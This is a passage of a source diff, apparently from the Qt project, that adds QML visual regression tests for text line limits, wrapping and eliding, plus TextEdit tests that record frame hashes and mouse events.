+import Qt.VisualTest 4.7
+
+VisualTest {
+    Frame {
+        msec: 0
+    }
+    Frame {
+        msec: 16
+        image: "newLines_wrap_elide.0.png"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.0.png
new file mode 100644
index 0000000..f0ad965
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.0.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.qml
new file mode 100644
index 0000000..4b55312
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+    Frame {
+        msec: 0
+    }
+    Frame {
+        msec: 16
+        image: "wrap.0.png"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.0.png
new file mode 100644
index 0000000..62274ce
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.0.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.qml
new file mode 100644
index 0000000..7d002ea
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+    Frame {
+        msec: 0
+    }
+    Frame {
+        msec: 16
+        image: "wrap_elide.0.png"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.0.png
new file mode 100644
index 0000000..c24c7c6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.0.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.qml
new file mode 100644
index 0000000..affd3a6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+    Frame {
+        msec: 0
+    }
+    Frame {
+        msec: 16
+        image: "newLines.0.png"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.0.png
new file mode 100644
index 0000000..0ba68e5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.0.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.qml
new file mode 100644
index 0000000..410b47d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+    Frame {
+        msec: 0
+    }
+    Frame {
+        msec: 16
+        image: "newLines_wrap.0.png"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.0.png
new file mode 100644
index 0000000..3f1144b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.0.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.qml
new file mode 100644
index 0000000..94cf1d2
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+    Frame {
+        msec: 0
+    }
+    Frame {
+        msec: 16
+        image: "newLines_wrap_elide.0.png"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.0.png
new file mode 100644
index 0000000..f0ad965
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.0.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.qml
new file mode 100644
index 0000000..4b55312
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+    Frame {
+        msec: 0
+    }
+    Frame {
+        msec: 16
+        image: "wrap.0.png"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.0.png
new file mode 100644
index 0000000..62274ce
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.0.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.qml
new file mode 100644
index 0000000..7d002ea
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+    Frame {
+        msec: 0
+    }
+    Frame {
+        msec: 16
+        image: "wrap_elide.0.png"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines.qml
new file mode 100644
index 0000000..4e993c6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines.qml
@@ -0,0 +1,13 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+    width: childrenRect.width
+    height: childrenRect.height
+
+    TestText {
+        width:  80
+        maximumLineCount: 2
+        text: "Line1\nLine2\nLine3\nLine4"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap.qml
new file mode 100644
index 0000000..5d8f50b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+    width: childrenRect.width
+    height: childrenRect.height
+
+    TestText {
+        width:  80
+        maximumLineCount: 3
+        wrapMode: Text.WordWrap
+        text: "Line1 has a more\nLine2\nLine3\nLine4"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap_elide.qml
new file mode 100644
index 0000000..ac7b5cb
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap_elide.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+    width: childrenRect.width
+    height: childrenRect.height
+
+    TestText {
+        width:  80
+        maximumLineCount: 3
+        wrapMode: Text.WordWrap
+        elide: Text.ElideRight
+        text: "Line1 has a more\nLine2\nLine3\nLine4"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap.qml
new file mode 100644
index 0000000..6d72430
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+    width: childrenRect.width
+    height: childrenRect.height
+
+    TestText {
+        width:  80
+        maximumLineCount: 3
+        wrapMode: Text.WordWrap
+        text: "The quick brown fox jumped over the lazy dog"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap_elide.qml
new file mode 100644
index 0000000..785c5f5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap_elide.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+    width: childrenRect.width
+    height: childrenRect.height
+
+    TestText {
+        width:  80
+        maximumLineCount: 3
+        wrapMode: Text.WordWrap
+        elide: Text.ElideRight
+        text: "The quick brown fox jumped over the lazy dog"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.0.png
new file mode 100644
index 0000000..74c6934
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.0.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.qml
new file mode 100644
index 0000000..e4dbeb1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+    Frame {
+        msec: 0
+    }
+    Frame {
+        msec: 16
+        image: "justify.0.png"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.0.png
new file mode 100644
index 0000000..7d0d0ae
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.0.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.1.png
new file mode 100644
index 0000000..7d612bf
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.1.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.qml
new file mode 100644
index 0000000..8c7e380
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.qml
@@ -0,0 +1,191 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+    Frame {
+        msec: 0
+    }
+    Frame {
+        msec: 16
+        image: "linkActivated.0.png"
+    }
+    Frame {
+        msec: 32
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 48
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 64
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 80
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 96
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 112
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 128
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 144
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 160
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 176
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 192
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 208
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 224
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 240
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 256
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Mouse {
+        type: 2
+        button: 1
+        buttons: 1
+        x: 21; y: 13
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 272
+        hash: "9482227cbc77e9083218c1452e8644d8"
+    }
+    Frame {
+        msec: 288
+        hash: "9482227cbc77e9083218c1452e8644d8"
+    }
+    Frame {
+        msec: 304
+        hash: "9482227cbc77e9083218c1452e8644d8"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 22; y: 11
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 320
+        hash: "9482227cbc77e9083218c1452e8644d8"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 23; y: 10
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 3
+        button: 1
+        buttons: 0
+        x: 23; y: 10
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 336
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 352
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 368
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 384
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 400
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 416
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 432
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 448
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 464
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 480
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 496
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 512
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 528
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 544
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 560
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 576
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 592
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 608
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.0.png
new file mode 100644
index 0000000..431bed8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.0.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.1.png
new file mode 100644
index 0000000..d8d6bac
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.1.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.2.png
new file mode 100644
index 0000000..27e02e5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.2.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.3.png
new file mode 100644
index 0000000..00549b3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.3.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.4.png
new file mode 100644
index 0000000..5c2a885
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.4.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.5.png
new file mode 100644
index 0000000..5c2a885
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.5.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.6.png
new file mode 100644
index 0000000..fd7f010
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.6.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.qml
new file mode 100644
index 0000000..dff5452
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.qml
@@ -0,0 +1,3551 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+    Frame {
+        msec: 0
+    }
+    Frame {
+        msec: 16
+        image: "flickableEdit.0.png"
+    }
+    Frame {
+        msec: 32
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 48
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 64
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 80
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 96
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 112
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 128
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 144
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 160
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 176
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 192
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 208
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 224
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 240
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 256
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 272
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 288
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 304
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 320
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 336
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 352
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 368
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 384
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 400
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 416
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 432
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 448
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 464
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 480
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 496
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 512
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 528
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 544
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 560
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 576
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 592
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 608
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 624
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 640
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 656
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 672
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 688
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 704
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 720
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 736
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 752
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 768
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 784
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 800
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 816
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 832
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 848
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 864
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 880
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 896
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Mouse {
+        type: 2
+        button: 1
+        buttons: 1
+        x: 29; y: 12
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 912
+        hash: "1a426d2b8854412a3c91f927588f63ce"
+    }
+    Frame {
+        msec: 928
+        hash: "1a426d2b8854412a3c91f927588f63ce"
+    }
+    Frame {
+        msec: 944
+        hash: "1a426d2b8854412a3c91f927588f63ce"
+    }
+    Frame {
+        msec: 960
+        hash: "1a426d2b8854412a3c91f927588f63ce"
+    }
+    Frame {
+        msec: 976
+        image: "flickableEdit.1.png"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 30; y: 12
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 32; y: 12
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 992
+        hash: "1a426d2b8854412a3c91f927588f63ce"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 33; y: 12
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 34; y: 12
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1008
+        hash: "1a426d2b8854412a3c91f927588f63ce"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 36; y: 12
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 39; y: 12
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1024
+        hash: "4626e25f67dfd0fe3846322455762b3b"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 41; y: 11
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 44; y: 11
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1040
+        hash: "4626e25f67dfd0fe3846322455762b3b"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 47; y: 11
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 50; y: 11
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1056
+        hash: "e506425ea4a8eb6d94442ac0bccd0911"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 53; y: 11
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 56; y: 10
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1072
+        hash: "3c45be5d00748154f9abce8d525b5791"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 58; y: 10
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 61; y: 10
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1088
+        hash: "3e33ff0dfd478bad91472fa2bb4908a0"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 64; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 66; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1104
+        hash: "3e33ff0dfd478bad91472fa2bb4908a0"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 69; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 71; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1120
+        hash: "e8e7e98f3d7dbcdb4040ae81ef656e02"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 73; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 75; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1136
+        hash: "e8e7e98f3d7dbcdb4040ae81ef656e02"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 78; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 80; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1152
+        hash: "309c25ff85a361dfebd6464984fd9d79"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 83; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 85; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1168
+        hash: "4b4fc7d9263af761222bb23f41021731"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 87; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 90; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1184
+        hash: "4b4fc7d9263af761222bb23f41021731"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 93; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 96; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1200
+        hash: "bd00eeda31cfc8d59a2c9677e771dadb"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 99; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
